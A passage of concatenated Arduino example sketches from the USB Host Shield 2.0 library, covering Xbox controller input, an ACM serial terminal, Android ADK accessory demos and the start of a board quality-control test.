")); Serial.print(Xbox.getAnalogHat(RightHatY)); } Serial.println(); } if (Xbox.getButtonPress(L2) > 0 || Xbox.getButtonPress(R2) > 0) { if (Xbox.getButtonPress(L2) > 0) { Serial.print(F("L2: ")); Serial.print(Xbox.getButtonPress(L2)); Serial.print("\t"); } if (Xbox.getButtonPress(R2) > 0) { Serial.print(F("R2: ")); Serial.print(Xbox.getButtonPress(R2)); Serial.print("\t"); } Serial.println(); } // Set rumble effect static uint16_t oldL2Value, oldR2Value; if (Xbox.getButtonPress(L2) != oldL2Value || Xbox.getButtonPress(R2) != oldR2Value) { oldL2Value = Xbox.getButtonPress(L2); oldR2Value = Xbox.getButtonPress(R2); uint8_t leftRumble = map(oldL2Value, 0, 1023, 0, 255); // Map the trigger values into a byte uint8_t rightRumble = map(oldR2Value, 0, 1023, 0, 255); if (leftRumble > 0 || rightRumble > 0) Xbox.setRumbleOn(leftRumble, rightRumble, leftRumble, rightRumble); else Xbox.setRumbleOff(); } if (Xbox.getButtonClick(UP)) Serial.println(F("Up")); if (Xbox.getButtonClick(DOWN)) Serial.println(F("Down")); if (Xbox.getButtonClick(LEFT)) Serial.println(F("Left")); if (Xbox.getButtonClick(RIGHT)) Serial.println(F("Right")); if (Xbox.getButtonClick(START)) Serial.println(F("Start")); if (Xbox.getButtonClick(BACK)) Serial.println(F("Back")); if (Xbox.getButtonClick(XBOX)) Serial.println(F("Xbox")); if (Xbox.getButtonClick(SYNC)) Serial.println(F("Sync")); if (Xbox.getButtonClick(L1)) Serial.println(F("L1")); if (Xbox.getButtonClick(R1)) Serial.println(F("R1")); if (Xbox.getButtonClick(L2)) Serial.println(F("L2")); if (Xbox.getButtonClick(R2)) Serial.println(F("R2")); if (Xbox.getButtonClick(L3)) Serial.println(F("L3")); if (Xbox.getButtonClick(R3)) Serial.println(F("R3")); if (Xbox.getButtonClick(A)) Serial.println(F("A")); if (Xbox.getButtonClick(B)) Serial.println(F("B")); if (Xbox.getButtonClick(X)) Serial.println(F("X")); if (Xbox.getButtonClick(Y)) Serial.println(F("Y")); } delay(1); } ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/Xbox/XBOXRECV/XBOXRECV.ino ================================================ /* Example sketch for the Xbox Wireless Reciver library - developed by Kristian Lauszus It supports up to four controllers wirelessly For more information see the blog post: http://blog.tkjelectronics.dk/2012/12/xbox-360-receiver-added-to-the-usb-host-library/ or send me an e-mail: kristianl@tkjelectronics.com */ #include // Satisfy the IDE, which needs to see the include statment in the ino too. #ifdef dobogusinclude #include #endif #include USB Usb; XBOXRECV Xbox(&Usb); void setup() { Serial.begin(115200); #if !defined(__MIPSEL__) while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection #endif if (Usb.Init() == -1) { Serial.print(F("\r\nOSC did not start")); while (1); //halt } Serial.print(F("\r\nXbox Wireless Receiver Library Started")); } void loop() { Usb.Task(); if (Xbox.XboxReceiverConnected) { for (uint8_t i = 0; i < 4; i++) { if (Xbox.Xbox360Connected[i]) { if (Xbox.getButtonPress(L2, i) || Xbox.getButtonPress(R2, i)) { Serial.print("L2: "); Serial.print(Xbox.getButtonPress(L2, i)); Serial.print("\tR2: "); Serial.println(Xbox.getButtonPress(R2, i)); Xbox.setRumbleOn(Xbox.getButtonPress(L2, i), Xbox.getButtonPress(R2, i), i); } if (Xbox.getAnalogHat(LeftHatX, i) > 7500 || Xbox.getAnalogHat(LeftHatX, i) < -7500 || Xbox.getAnalogHat(LeftHatY, i) > 7500 || Xbox.getAnalogHat(LeftHatY, i) < -7500 || Xbox.getAnalogHat(RightHatX, i) > 7500 || Xbox.getAnalogHat(RightHatX, i) < -7500 || Xbox.getAnalogHat(RightHatY, i) > 7500 || Xbox.getAnalogHat(RightHatY, i) < -7500) { if (Xbox.getAnalogHat(LeftHatX, i) > 7500 || Xbox.getAnalogHat(LeftHatX, i) < -7500) { Serial.print(F("LeftHatX: ")); Serial.print(Xbox.getAnalogHat(LeftHatX, i)); Serial.print("\t"); } if (Xbox.getAnalogHat(LeftHatY, i) > 7500 || Xbox.getAnalogHat(LeftHatY, i) < -7500) { Serial.print(F("LeftHatY: ")); Serial.print(Xbox.getAnalogHat(LeftHatY, i)); Serial.print("\t"); } if (Xbox.getAnalogHat(RightHatX, i) > 7500 || Xbox.getAnalogHat(RightHatX, i) < -7500) { Serial.print(F("RightHatX: ")); Serial.print(Xbox.getAnalogHat(RightHatX, i)); Serial.print("\t"); } if (Xbox.getAnalogHat(RightHatY, i) > 7500 || Xbox.getAnalogHat(RightHatY, i) < -7500) { Serial.print(F("RightHatY: ")); Serial.print(Xbox.getAnalogHat(RightHatY, i)); } Serial.println(); } if (Xbox.getButtonClick(UP, i)) { Xbox.setLedOn(LED1, i); Serial.println(F("Up")); } if (Xbox.getButtonClick(DOWN, i)) { Xbox.setLedOn(LED4, i); Serial.println(F("Down")); } if (Xbox.getButtonClick(LEFT, i)) { Xbox.setLedOn(LED3, i); Serial.println(F("Left")); } if (Xbox.getButtonClick(RIGHT, i)) { Xbox.setLedOn(LED2, i); Serial.println(F("Right")); } if (Xbox.getButtonClick(START, i)) { Xbox.setLedMode(ALTERNATING, i); Serial.println(F("Start")); } if (Xbox.getButtonClick(BACK, i)) { Xbox.setLedBlink(ALL, i); Serial.println(F("Back")); } if (Xbox.getButtonClick(L3, i)) Serial.println(F("L3")); if (Xbox.getButtonClick(R3, i)) Serial.println(F("R3")); if (Xbox.getButtonClick(L1, i)) Serial.println(F("L1")); if (Xbox.getButtonClick(R1, i)) Serial.println(F("R1")); if (Xbox.getButtonClick(XBOX, i)) { Xbox.setLedMode(ROTATING, i); Serial.print(F("Xbox (Battery: ")); Serial.print(Xbox.getBatteryLevel(i)); // The battery level in the range 0-3 Serial.println(F(")")); } if (Xbox.getButtonClick(SYNC, i)) { Serial.println(F("Sync")); Xbox.disconnect(i); } if (Xbox.getButtonClick(A, i)) Serial.println(F("A")); if (Xbox.getButtonClick(B, i)) Serial.println(F("B")); if (Xbox.getButtonClick(X, i)) Serial.println(F("X")); if (Xbox.getButtonClick(Y, i)) Serial.println(F("Y")); } } } } ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/Xbox/XBOXUSB/XBOXUSB.ino ================================================ /* Example sketch for the Xbox 360 USB library - developed by Kristian Lauszus For more information visit my blog: http://blog.tkjelectronics.dk/ or send me an e-mail: kristianl@tkjelectronics.com */ #include // Satisfy the IDE, which needs to see the include statment in the ino too. #ifdef dobogusinclude #include #endif #include USB Usb; XBOXUSB Xbox(&Usb); void setup() { Serial.begin(115200); #if !defined(__MIPSEL__) while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection #endif if (Usb.Init() == -1) { Serial.print(F("\r\nOSC did not start")); while (1); //halt } Serial.print(F("\r\nXBOX USB Library Started")); } void loop() { Usb.Task(); if (Xbox.Xbox360Connected) { if (Xbox.getButtonPress(L2) || Xbox.getButtonPress(R2)) { Serial.print("L2: "); Serial.print(Xbox.getButtonPress(L2)); Serial.print("\tR2: "); Serial.println(Xbox.getButtonPress(R2)); Xbox.setRumbleOn(Xbox.getButtonPress(L2), Xbox.getButtonPress(R2)); } else Xbox.setRumbleOn(0, 0); if (Xbox.getAnalogHat(LeftHatX) > 7500 || Xbox.getAnalogHat(LeftHatX) < -7500 || Xbox.getAnalogHat(LeftHatY) > 7500 || Xbox.getAnalogHat(LeftHatY) < -7500 || Xbox.getAnalogHat(RightHatX) > 7500 || Xbox.getAnalogHat(RightHatX) < -7500 || Xbox.getAnalogHat(RightHatY) > 7500 || Xbox.getAnalogHat(RightHatY) < -7500) { if (Xbox.getAnalogHat(LeftHatX) > 7500 || Xbox.getAnalogHat(LeftHatX) < -7500) { Serial.print(F("LeftHatX: ")); Serial.print(Xbox.getAnalogHat(LeftHatX)); Serial.print("\t"); } if (Xbox.getAnalogHat(LeftHatY) > 7500 || Xbox.getAnalogHat(LeftHatY) < -7500) { Serial.print(F("LeftHatY: ")); Serial.print(Xbox.getAnalogHat(LeftHatY)); Serial.print("\t"); } if (Xbox.getAnalogHat(RightHatX) > 7500 || Xbox.getAnalogHat(RightHatX) < -7500) { Serial.print(F("RightHatX: ")); Serial.print(Xbox.getAnalogHat(RightHatX)); Serial.print("\t"); } if (Xbox.getAnalogHat(RightHatY) > 7500 || Xbox.getAnalogHat(RightHatY) < -7500) { Serial.print(F("RightHatY: ")); Serial.print(Xbox.getAnalogHat(RightHatY)); } Serial.println(); } if (Xbox.getButtonClick(UP)) { Xbox.setLedOn(LED1); Serial.println(F("Up")); } if (Xbox.getButtonClick(DOWN)) { Xbox.setLedOn(LED4); Serial.println(F("Down")); } if (Xbox.getButtonClick(LEFT)) { Xbox.setLedOn(LED3); Serial.println(F("Left")); } if (Xbox.getButtonClick(RIGHT)) { Xbox.setLedOn(LED2); Serial.println(F("Right")); } if (Xbox.getButtonClick(START)) { Xbox.setLedMode(ALTERNATING); Serial.println(F("Start")); } if (Xbox.getButtonClick(BACK)) { Xbox.setLedBlink(ALL); Serial.println(F("Back")); } if (Xbox.getButtonClick(L3)) Serial.println(F("L3")); if (Xbox.getButtonClick(R3)) Serial.println(F("R3")); if (Xbox.getButtonClick(L1)) Serial.println(F("L1")); if (Xbox.getButtonClick(R1)) Serial.println(F("R1")); if (Xbox.getButtonClick(XBOX)) { Xbox.setLedMode(ROTATING); Serial.println(F("Xbox")); } if (Xbox.getButtonClick(A)) Serial.println(F("A")); if (Xbox.getButtonClick(B)) Serial.println(F("B")); if (Xbox.getButtonClick(X)) Serial.println(F("X")); if (Xbox.getButtonClick(Y)) Serial.println(F("Y")); } delay(1); } ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/acm/acm_terminal/acm_terminal.ino ================================================ #include #include #include "pgmstrings.h" // Satisfy the IDE, which needs to see the include statment in the ino too. #ifdef dobogusinclude #include #endif #include class ACMAsyncOper : public CDCAsyncOper { public: uint8_t OnInit(ACM *pacm); }; uint8_t ACMAsyncOper::OnInit(ACM *pacm) { uint8_t rcode; // Set DTR = 1 RTS=1 rcode = pacm->SetControlLineState(3); if (rcode) { ErrorMessage(PSTR("SetControlLineState"), rcode); return rcode; } LINE_CODING lc; lc.dwDTERate = 115200; lc.bCharFormat = 0; lc.bParityType = 0; lc.bDataBits = 8; rcode = pacm->SetLineCoding(&lc); if (rcode) ErrorMessage(PSTR("SetLineCoding"), rcode); return rcode; } USB Usb; //USBHub Hub(&Usb); ACMAsyncOper AsyncOper; ACM Acm(&Usb, &AsyncOper); void setup() { Serial.begin( 115200 ); #if !defined(__MIPSEL__) while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection #endif Serial.println("Start"); if (Usb.Init() == -1) Serial.println("OSCOKIRQ failed to assert"); delay( 200 ); } void loop() { Usb.Task(); if( Acm.isReady()) { uint8_t rcode; /* reading the keyboard */ if(Serial.available()) { uint8_t data= Serial.read(); /* sending to the phone */ rcode = Acm.SndData(1, &data); if (rcode) ErrorMessage(PSTR("SndData"), rcode); }//if(Serial.available()... delay(50); /* reading the phone */ /* buffer size must be greater or equal to max.packet size */ /* it it set to 64 (largest possible max.packet size) here, can be tuned down for particular endpoint */ uint8_t buf[64]; uint16_t rcvd = 64; rcode = Acm.RcvData(&rcvd, buf); if (rcode && rcode != hrNAK) ErrorMessage(PSTR("Ret"), rcode); if( rcvd ) { //more than zero bytes received for(uint16_t i=0; i < rcvd; i++ ) { Serial.print((char)buf[i]); //printing on the screen } } delay(10); }//if( Usb.getUsbTaskState() == USB_STATE_RUNNING.. } ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/acm/acm_terminal/pgmstrings.h ================================================ #if !defined(__PGMSTRINGS_H__) #define __PGMSTRINGS_H__ #define LOBYTE(x) ((char*)(&(x)))[0] #define HIBYTE(x) ((char*)(&(x)))[1] #define BUFSIZE 256 //buffer size /* Print strings in Program Memory */ const char Gen_Error_str[] PROGMEM = "\r\nRequest error. Error code:\t"; const char Dev_Header_str[] PROGMEM ="\r\nDevice descriptor: "; const char Dev_Length_str[] PROGMEM ="\r\nDescriptor Length:\t"; const char Dev_Type_str[] PROGMEM ="\r\nDescriptor type:\t"; const char Dev_Version_str[] PROGMEM ="\r\nUSB version:\t\t"; const char Dev_Class_str[] PROGMEM ="\r\nDevice class:\t\t"; const char Dev_Subclass_str[] PROGMEM ="\r\nDevice Subclass:\t"; const char Dev_Protocol_str[] PROGMEM ="\r\nDevice Protocol:\t"; const char Dev_Pktsize_str[] PROGMEM ="\r\nMax.packet size:\t"; const char Dev_Vendor_str[] PROGMEM ="\r\nVendor ID:\t\t"; const char Dev_Product_str[] PROGMEM ="\r\nProduct ID:\t\t"; const char Dev_Revision_str[] PROGMEM ="\r\nRevision ID:\t\t"; const char Dev_Mfg_str[] PROGMEM ="\r\nMfg.string index:\t"; const char Dev_Prod_str[] PROGMEM ="\r\nProd.string index:\t"; const char Dev_Serial_str[] PROGMEM ="\r\nSerial number index:\t"; const char Dev_Nconf_str[] PROGMEM ="\r\nNumber of conf.:\t"; const char Conf_Trunc_str[] PROGMEM ="Total length truncated to 256 bytes"; const char Conf_Header_str[] PROGMEM ="\r\nConfiguration descriptor:"; const char Conf_Totlen_str[] PROGMEM ="\r\nTotal length:\t\t"; const char Conf_Nint_str[] PROGMEM ="\r\nNum.intf:\t\t"; const char Conf_Value_str[] PROGMEM ="\r\nConf.value:\t\t"; const char Conf_String_str[] PROGMEM ="\r\nConf.string:\t\t"; const char Conf_Attr_str[] PROGMEM ="\r\nAttr.:\t\t\t"; const char Conf_Pwr_str[] PROGMEM ="\r\nMax.pwr:\t\t"; const char Int_Header_str[] PROGMEM ="\r\n\r\nInterface descriptor:"; const char Int_Number_str[] PROGMEM ="\r\nIntf.number:\t\t"; const char Int_Alt_str[] PROGMEM ="\r\nAlt.:\t\t\t"; const char Int_Endpoints_str[] PROGMEM ="\r\nEndpoints:\t\t"; const char Int_Class_str[] PROGMEM ="\r\nIntf. Class:\t\t"; const char Int_Subclass_str[] PROGMEM ="\r\nIntf. Subclass:\t\t"; const char Int_Protocol_str[] PROGMEM ="\r\nIntf. Protocol:\t\t"; const char Int_String_str[] PROGMEM ="\r\nIntf.string:\t\t"; const char End_Header_str[] PROGMEM ="\r\n\r\nEndpoint descriptor:"; const char End_Address_str[] PROGMEM ="\r\nEndpoint address:\t"; const char End_Attr_str[] PROGMEM ="\r\nAttr.:\t\t\t"; const char End_Pktsize_str[] PROGMEM ="\r\nMax.pkt size:\t\t"; const char End_Interval_str[] PROGMEM ="\r\nPolling interval:\t"; const char Unk_Header_str[] PROGMEM = "\r\nUnknown descriptor:"; const char Unk_Length_str[] PROGMEM ="\r\nLength:\t\t"; const char Unk_Type_str[] PROGMEM ="\r\nType:\t\t"; const char Unk_Contents_str[] PROGMEM ="\r\nContents:\t"; #endif // __PGMSTRINGS_H__ ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/adk/ArduinoBlinkLED/ArduinoBlinkLED.ino ================================================ // The source for the Android application can be found at the following link: https://github.com/Lauszus/ArduinoBlinkLED // The code for the Android application is heavily based on this guide: http://allaboutee.com/2011/12/31/arduino-adk-board-blink-an-led-with-your-phone-code-and-explanation/ by Miguel #include // // CAUTION! WARNING! ATTENTION! VORSICHT! ADVARSEL! ¡CUIDADO! ВНИМАНИЕ! // // Pin 13 is occupied by the SCK pin on various Arduino boards, // including Uno, Duemilanove, etc., so use a different pin for those boards. // // CAUTION! WARNING! ATTENTION! VORSICHT! ADVARSEL! ¡CUIDADO! ВНИМАНИЕ! // #if defined(LED_BUILTIN) #define LED LED_BUILTIN // Use built in LED #else #define LED 9 // Set to something here that makes sense for your board. #endif // Satisfy IDE, which only needs to see the include statment in the ino. #ifdef dobogusinclude #include #endif #include USB Usb; ADK adk(&Usb, "TKJElectronics", // Manufacturer Name "ArduinoBlinkLED", // Model Name "Example sketch for the USB Host Shield", // Description (user-visible string) "1.0", // Version "http://www.tkjelectronics.dk/uploads/ArduinoBlinkLED.apk", // URL (web page to visit if no installed apps support the accessory) "123456789"); // Serial Number (optional) uint32_t timer; bool connected; void setup() { Serial.begin(115200); #if !defined(__MIPSEL__) while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection #endif if (Usb.Init() == -1) { Serial.print("\r\nOSCOKIRQ failed to assert"); while (1); // halt } pinMode(LED, OUTPUT); Serial.print("\r\nArduino Blink LED Started"); } void loop() { Usb.Task(); if (adk.isReady()) { if (!connected) { connected = true; Serial.print(F("\r\nConnected to accessory")); } uint8_t msg[1]; uint16_t len = sizeof(msg); uint8_t rcode = adk.RcvData(&len, msg); if (rcode && rcode != hrNAK) { Serial.print(F("\r\nData rcv: ")); Serial.print(rcode, HEX); } else if (len > 0) { Serial.print(F("\r\nData Packet: ")); Serial.print(msg[0]); digitalWrite(LED, msg[0] ? HIGH : LOW); } if ((int32_t)((uint32_t)millis() - timer) >= 1000) { // Send data every 1s timer = (uint32_t)millis(); rcode = adk.SndData(sizeof(timer), (uint8_t*)&timer); if (rcode && rcode != hrNAK) { Serial.print(F("\r\nData send: ")); Serial.print(rcode, HEX); } else if (rcode != hrNAK) { Serial.print(F("\r\nTimer: ")); Serial.print(timer); } } } else { if (connected) { connected = false; Serial.print(F("\r\nDisconnected from accessory")); digitalWrite(LED, LOW); } } } ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/adk/adk_barcode/adk_barcode.ino ================================================ /**/ /* A sketch demonstrating data exchange between two USB devices - a HID barcode scanner and ADK-compatible Android phone */ /**/ #include #include #include // Satisfy IDE, which only needs to see the include statment in the ino. #ifdef dobogusinclude #include #endif #include USB Usb; USBHub Hub1(&Usb); USBHub Hub2(&Usb); HIDBoot HidKeyboard(&Usb); ADK adk(&Usb,"Circuits@Home, ltd.", "USB Host Shield", "Arduino Terminal for Android", "1.0", "http://www.circuitsathome.com", "0000000000000001"); class KbdRptParser : public KeyboardReportParser { protected: void OnKeyDown (uint8_t mod, uint8_t key); void OnKeyPressed(uint8_t key); }; void KbdRptParser::OnKeyDown(uint8_t mod, uint8_t key) { uint8_t c = OemToAscii(mod, key); if (c) OnKeyPressed(c); } /* what to do when symbol arrives */ void KbdRptParser::OnKeyPressed(uint8_t key) { const char* new_line = "\n"; uint8_t rcode; uint8_t keylcl; if( adk.isReady() == false ) { return; } keylcl = key; if( keylcl == 0x13 ) { rcode = adk.SndData( strlen( new_line ), (uint8_t *)new_line ); if (rcode && rcode != hrNAK) { Serial.print(F("\r\nData send: ")); Serial.print(rcode, HEX); } } else { rcode = adk.SndData( 1, &keylcl ); if (rcode && rcode != hrNAK) { Serial.print(F("\r\nData send: ")); Serial.print(rcode, HEX); } } Serial.print((char) keylcl ); Serial.print(" : "); Serial.println( keylcl, HEX ); }; KbdRptParser Prs; void setup() { Serial.begin(115200); #if !defined(__MIPSEL__) while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection #endif Serial.println("\r\nADK demo start"); if (Usb.Init() == -1) { Serial.println("OSCOKIRQ failed to assert"); while(1); //halt }//if (Usb.Init() == -1... HidKeyboard.SetReportParser(0, &Prs); delay( 200 ); } void loop() { Usb.Task(); } ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/adk/demokit_20/demokit_20.ino ================================================ #include #include // Satisfy IDE, which only needs to see the include statment in the ino. #ifdef dobogusinclude #include #endif #include USB Usb; USBHub hub0(&Usb); USBHub hub1(&Usb); ADK adk(&Usb, "Google, Inc.", "DemoKit", "DemoKit Arduino Board", "1.0", "http://www.android.com", "0000000012345678"); uint8_t b, b1; #define LED1_RED 3 #define BUTTON1 2 #ifdef ESP32 #define LED1_RED_CHANNEL 0 #endif void init_buttons() { pinMode(BUTTON1, INPUT); // enable the internal pullups digitalWrite(BUTTON1, HIGH); } void init_leds() { digitalWrite(LED1_RED, 0); #ifdef ESP32 ledcAttachPin(LED1_RED, LED1_RED_CHANNEL); // Assign LED pin to channel 0 ledcSetup(LED1_RED_CHANNEL, 12000, 8); // 12 kHz PWM, 8-bit resolution #else pinMode(LED1_RED, OUTPUT); #endif } void setup() { Serial.begin(115200); #if !defined(__MIPSEL__) while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection #endif Serial.println("\r\nADK demo start"); if (Usb.Init() == -1) { Serial.println("OSCOKIRQ failed to assert"); while (1); //halt }//if (Usb.Init() == -1... init_leds(); init_buttons(); b1 = digitalRead(BUTTON1); } void loop() { uint8_t rcode; uint8_t msg[3] = { 0x00 }; Usb.Task(); if ( adk.isReady() == false ) { #ifdef ESP32 ledcWrite(LED1_RED_CHANNEL, 255); #else analogWrite(LED1_RED, 255); #endif return; } uint16_t len = sizeof(msg); rcode = adk.RcvData(&len, msg); if ( rcode ) { USBTRACE2("Data rcv. :", rcode ); } if (len > 0) { USBTRACE("\r\nData Packet."); // assumes only one command per packet if (msg[0] == 0x2) { switch ( msg[1] ) { case 0: #ifdef ESP32 ledcWrite(LED1_RED_CHANNEL, 255 - msg[2]); #else analogWrite(LED1_RED, 255 - msg[2]); #endif break; }//switch( msg[1]... }//if (msg[0] == 0x2... }//if( len > 0... msg[0] = 0x1; b = digitalRead(BUTTON1); if (b != b1) { USBTRACE("\r\nButton state changed"); msg[1] = 0; msg[2] = b ? 0 : 1; rcode = adk.SndData( 3, msg ); if ( rcode ) { USBTRACE2("Button send: ", rcode ); } b1 = b; }//if (b != b1... delay( 10 ); } ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/adk/term_test/term_test.ino ================================================ #include #include // Satisfy IDE, which only needs to see the include statment in the ino. #ifdef dobogusinclude #include #endif #include USB Usb; //USBHub Hub(&Usb); ADK adk(&Usb, "Circuits@Home, ltd.", "USB Host Shield", "Arduino Terminal for Android", "1.0", "http://www.circuitsathome.com", "0000000000000001"); void setup() { Serial.begin(115200); #if !defined(__MIPSEL__) while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection #endif Serial.println("\r\nADK demo start"); if (Usb.Init() == -1) { Serial.println("OSCOKIRQ failed to assert"); while (1); //halt }//if (Usb.Init() == -1... } void loop() { uint8_t rcode; uint8_t msg[64] = { 0x00 }; const char* recv = "Received: "; Usb.Task(); if ( adk.isReady() == false ) { return; } uint16_t len = 64; rcode = adk.RcvData(&len, msg); if ( rcode & ( rcode != hrNAK )) { USBTRACE2("Data rcv. :", rcode ); } if (len > 0) { USBTRACE("\r\nData Packet."); for ( uint8_t i = 0; i < len; i++ ) { Serial.print((char)msg[i]); } /* sending back what was received */ rcode = adk.SndData( strlen( recv ), (uint8_t *)recv ); if (rcode && rcode != hrNAK) { Serial.print(F("\r\nData send: ")); Serial.print(rcode, HEX); } rcode = adk.SndData( strlen(( char * )msg ), msg ); if (rcode && rcode != hrNAK) { Serial.print(F("\r\nData send: ")); Serial.print(rcode, HEX); } }//if( len > 0 )... delay( 1000 ); } ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/adk/term_time/term_time.ino ================================================ #include #include // Satisfy IDE, which only needs to see the include statment in the ino. #ifdef dobogusinclude #include #endif #include USB Usb; ADK adk(&Usb, "Circuits@Home, ltd.", "USB Host Shield", "Arduino Terminal for Android", "1.0", "http://www.circuitsathome.com", "0000000000000001"); void setup() { Serial.begin(115200); #if !defined(__MIPSEL__) while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection #endif Serial.println("\r\nADK demo start"); if (Usb.Init() == -1) { Serial.println("OSCOKIRQ failed to assert"); while (1); //halt }//if (Usb.Init() == -1... } void loop() { uint8_t buf[ 12 ] = { 0 }; //buffer to convert unsigned long to ASCII const char* sec_ela = " seconds elapsed\r"; uint8_t rcode; Usb.Task(); if ( adk.isReady() == false ) { return; } ultoa((uint32_t)millis() / 1000, (char *)buf, 10 ); rcode = adk.SndData( strlen((char *)buf), buf ); if (rcode && rcode != hrNAK) { Serial.print(F("\r\nData send: ")); Serial.print(rcode, HEX); } rcode = adk.SndData( strlen( sec_ela), (uint8_t *)sec_ela ); if (rcode && rcode != hrNAK) { Serial.print(F("\r\nData send: ")); Serial.print(rcode, HEX); } delay( 1000 ); } ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/board_qc/board_qc.ino ================================================ /* USB Host Shield 2.0 board quality control routine */ /* To see the output set your terminal speed to 115200 */ /* for GPIO test to pass you need to connect GPIN0 to GPOUT7, GPIN1 to GPOUT6, etc. */ /* otherwise press any key after getting GPIO error to complete the test */ /**/ #include // Satisfy the IDE, which needs to see the include statment in the ino too. #ifdef dobogusinclude #include #include <../../../../hardware/pic32/libraries/SPI/SPI.h> // Hack to use the SPI library #endif #include // Hack to use the SPI library /* variables */ uint8_t rcode; uint8_t usbstate; uint8_t laststate; //uint8_t buf[sizeof(USB_DEVICE_DESCRIPTOR)]; USB_DEVICE_DESCRIPTOR buf; /* objects */ USB Usb; //USBHub hub(&Usb); void setup() { laststate = 0; Serial.begin(115200); #if !defined(__MIPSEL__) while(!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection #endif E_Notify(PSTR("\r\nCircuits At Home 2011"), 0x80); E_Notify(PSTR("\r\nUSB Host Shield Quality Control Routine"), 0x80); /* SPI quick test - check revision register */ E_Notify(PSTR("\r\nReading REVISION register... Die revision "), 0x80); Usb.Init(); // Initializes SPI, we don't care about the return value here { uint8_t tmpbyte = Usb.regRd(rREVISION); switch(tmpbyte) { case( 0x01): //rev.01 E_Notify(PSTR("01"), 0x80); break; case( 0x12): //rev.02 E_Notify(PSTR("02"), 0x80); break; case( 0x13): //rev.03 E_Notify(PSTR("03"), 0x80); break; default: E_Notify(PSTR("invalid. Value returned: "), 0x80); print_hex(tmpbyte, 8); halt55(); break; }//switch( tmpbyte... }//check revision register /* SPI long test */ { E_Notify(PSTR("\r\nSPI long test. Transfers 1MB of data. Each dot is 64K"), 0x80); uint8_t sample_wr = 0; uint8_t sample_rd = 0; uint8_t gpinpol_copy = Usb.regRd(rGPINPOL); for(uint8_t i = 0; i < 16; i++) { #ifdef ESP8266 yield(); // needed in order to reset the watchdog timer on the ESP8266 #endif for(uint16_t j = 0; j < 65535; j++) { Usb.regWr(rGPINPOL, sample_wr); sample_rd = Usb.regRd(rGPINPOL); if(sample_rd != sample_wr) { E_Notify(PSTR("\r\nTest failed. "), 0x80); E_Notify(PSTR("Value written: "), 0x80); print_hex(sample_wr, 8); E_Notify(PSTR(" read: "), 0x80); print_hex(sample_rd, 8); halt55(); }//if( sample_rd != sample_wr.. sample_wr++; }//for( uint16_t j... E_Notify(PSTR("."), 0x80); }//for( uint8_t i... Usb.regWr(rGPINPOL, gpinpol_copy); E_Notify(PSTR(" SPI long test passed"), 0x80); }//SPI long test /* GPIO test */ /* in order to simplify board layout, GPIN pins on text fixture are connected to GPOUT */ /* in reverse order, i.e, GPIN0 is connected to GPOUT7, GPIN1 to GPOUT6, etc. */ { uint8_t tmpbyte; E_Notify(PSTR("\r\nGPIO test. Connect GPIN0 to GPOUT7, GPIN1 to GPOUT6, and so on"), 0x80); for(uint8_t sample_gpio = 0; sample_gpio < 255; sample_gpio++) { #ifdef ESP8266 yield(); // needed in order to reset the watchdog timer on the ESP8266 #endif Usb.gpioWr(sample_gpio); tmpbyte = Usb.gpioRd(); /* bit reversing code copied vetbatim from http://graphics.stanford.edu/~seander/bithacks.html#BitReverseObvious */ tmpbyte = ((tmpbyte * 0x0802LU & 0x22110LU) | (tmpbyte * 0x8020LU & 0x88440LU)) * 0x10101LU >> 16; if(sample_gpio != tmpbyte) { E_Notify(PSTR("\r\nTest failed. Value written: "), 0x80); print_hex(sample_gpio, 8); E_Notify(PSTR(" Value read: "), 0x80); print_hex(tmpbyte, 8); E_Notify(PSTR(" "), 0x80); press_any_key(); break; }//if( sample_gpio != tmpbyte... }//for( uint8_t sample_gpio... E_Notify(PSTR("\r\nGPIO test passed."), 0x80); }//GPIO test /* PLL test. Stops/starts MAX3421E oscillator several times */ { E_Notify(PSTR("\r\nPLL test. 100 chip resets will be performed"), 0x80); /* check current state of the oscillator */ if(!(Usb.regRd(rUSBIRQ) & bmOSCOKIRQ)) { //wrong state - should be on E_Notify(PSTR("\r\nCurrent oscillator state unexpected."), 0x80); press_any_key(); } /* Restart oscillator */ E_Notify(PSTR("\r\nResetting oscillator\r\n"), 0x80); for(uint16_t i = 0; i < 100; i++) { #ifdef ESP8266 yield(); // needed in order to reset the watchdog timer on the ESP8266 #endif E_Notify(PSTR("\rReset number "), 0x80); Serial.print(i, DEC); Usb.regWr(rUSBCTL, bmCHIPRES); //reset if(Usb.regRd(rUSBIRQ) & bmOSCOKIRQ) { //wrong state - should be off E_Notify(PSTR("\r\nCurrent oscillator state unexpected."), 0x80); halt55(); } Usb.regWr(rUSBCTL, 0x00); //release from reset uint16_t j = 0; for(j = 1; j < 65535; j++) { //tracking off to on time if(Usb.regRd(rUSBIRQ) & bmOSCOKIRQ) { E_Notify(PSTR(" Time to stabilize - "), 0x80); Serial.print(j, DEC); E_Notify(PSTR(" cycles\r\n"), 0x80); break; } }//for( uint16_t j = 0; j < 65535; j++ if(j == 0) { E_Notify(PSTR("PLL failed to stabilize"), 0x80); press_any_key(); } }//for( uint8_t i = 0; i < 255; i++ }//PLL test /* initializing USB stack */ if(Usb.Init() == -1) { E_Notify(PSTR("\r\nOSCOKIRQ failed to assert"), 0x80); halt55(); } E_Notify(PSTR("\r\nChecking USB device communication.\r\n"), 0x80); } void loop() { delay(200); Usb.Task(); usbstate = Usb.getUsbTaskState(); if(usbstate != laststate) { laststate = usbstate; /**/ switch(usbstate) { case( 